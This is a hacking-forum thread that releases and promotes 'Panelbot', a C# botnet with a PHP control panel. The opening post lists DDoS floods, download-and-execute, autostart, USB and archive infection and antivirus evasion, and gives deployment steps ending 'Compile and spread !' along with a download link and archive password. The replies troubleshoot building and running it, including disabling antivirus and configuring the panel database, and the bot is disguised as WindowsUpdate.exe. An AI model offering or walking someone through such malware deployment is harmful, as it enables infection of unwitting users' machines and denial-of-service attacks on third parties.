[img]http://img704.imageshack.us/img704/8664/sanstitreqi.jpg[/img]

I removed the tcp flood in the public version.

Features :

DDOS : SuperSYN, HTTP flood

Download / execute

Autostart

Compatible all win versions (including VISTA / 7)

Spread : auto USB / rar zip infection / P2P list can be edited from your website

Lots of anti's

How to use :

open config.php and edit settings with your sql details and login / password for the panel.

upload the /panel/ folder on your website

open the project with visual studio 2008

in config.cs put the url needed

Compile and spread !

And of course this is the source code that I'm sharing.

link : <http://www.2shared.com/file/10707185/a4f39e5a/Panelbot.html>

archive password : malwares-in.net

Necromonger - January 17, 2010, 4:03 am

hey mate

do people need framework 2.0 or 3.5 for this?

framework 2.0

U?b3r - January 20, 2010, 8:55 pm

Thanks a ton:) I'll improve upon this when I can and possibly release.

N!tzi.00x0 - January 24, 2010, 2:37 pm

Would be nice if there was a builder, but it doesn't matter.

Still nice bro.

N!tzi.00x0 - January 25, 2010, 1:07 pm

He i compile it run on virtual, even on a test person.
But a error show up.
The compiling was good.

which error bro ?

N!tzi.00x0 - February 1, 2010, 6:29 am

Here the error : <http://i6.img1.us/i/6vFyl.png>

maybe because of the sandbox or .net framework is not installed... try to install visual studio on your virtual machine so u can debug the exe and see in the source code where is the problem.

N!tzi.00x0 - February 1, 2010, 3:26 pm

I dont have sandbox but i have installed NET FRAMEWORK?
And i have visual studio, but you can't compile for me?

Joler1302 - February 1, 2010, 11:31 pm

Hmm so i just get WindowsUpdate Stopped working ?

drneox - February 4, 2010, 5:07 pm

#error

windows update

solved the old error,

Explain to me why when running the botnet open several errors of Winrar?

needed by the database

because the bot tries to infect all the rar and zip archives when opened. But u can disable it.

drneox - February 5, 2010, 12:03 pm

thanks for the reply, tell me how I can disable it.

when using the Download / execute URL to execute a bat file that I open a page (google.com) was only a black window (ms-dos) but did not open anything, just try a. txt file is not opened .

Joler1302 - February 5, 2010, 12:12 pm

Hmm used new version disabled the copy to startup and so but fking happens on my panel no bots connecting when opening it :(

simo9445 - May 29, 2010, 12:20 pm

Hey guys :D, i have a compile error, i downloaded the RAR and did what the readme told, but when i try to compile, i get the error: Error 1 Unable to copy file "obj\Release\WindowsUpdate.exe" to "bin\Release\WindowsUpdate.exe". Could not find file 'obj\Release\WindowsUpdate.exe'. Panelbot

Any idea how to fix?

-SkC-

I get the compile error when i try to compile:

Error 1 Unable to copy file "obj\Release\WindowsUpdate.exe" to

"bin\Release\WindowsUpdate.exe". Could not find file 'obj\Release\WindowsUpdate.exe'. Panelbot

Any idea?

t0fx - May 29, 2010, 3:21 pm

1st solution : try to delete the .sln file and open the .csproj

2st solution : maybe your av delete the file while building it

I disabled my antivirus and it workd, maybe the antis needs a update, avast antivirus detects it as a

rat. Thx alot :D, oh and in the config.php, what does it mean by

```
// ---- DataBase ----
$host = 'localhost';
$name = 'root';
$password = 'password';
$db = 'bot1';
```

Host is the name of the website? name = admin name? password = admin password? db =?

Got it work work, thank you alot for your suport:D

sonam - June 30, 2010, 2:22 am

not working..
can anyone help me from first...

CypherPunk - August 14, 2010, 9:11 pm

Just done everything and its fine /not showing any error but a major problem , there is no logo.png in the panel folder :)

i need it :)

-Notieboie

leetone666 - August 14, 2010, 9:19 pm

looks good man keep up the good work

PurpleHaze - August 19, 2010, 1:21 pm

Why won't the download link work?

digitalmaster - August 19, 2010, 2:04 pm

im really confused on how to create the database for this, iv created a mysql db called bot and created user called digitalm with full rights. Am i meant to create a table or something?

This is the error im getting

Code Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/digitalm/public_html/panel/functions.php on line 35

Table 'digitalm_bot.bot' doesn't exist

--

Its fine now i imported the .sql file into phpmyadmin

DigiDeveloper - April 21, 2014, 4:41 pm

could we get a new link upped for this one t0fx , looks epic... was wondering about these...

cafethaiha - February 28, 2015, 6:26 pm

Pls fix link, share source code [C#] Zombie Nation. Thank you

Dorfmidge - March 8, 2015, 12:22 am

Nice release :) , it looks like it would be useful. I don't really DDoS much myself, even so it looks like a handy tool at times.

helmiry12 - March 25, 2020, 12:33 pm

can someone reupload for me ?

This is 10 years old and DDoS isn't even allowed on HF anymore.
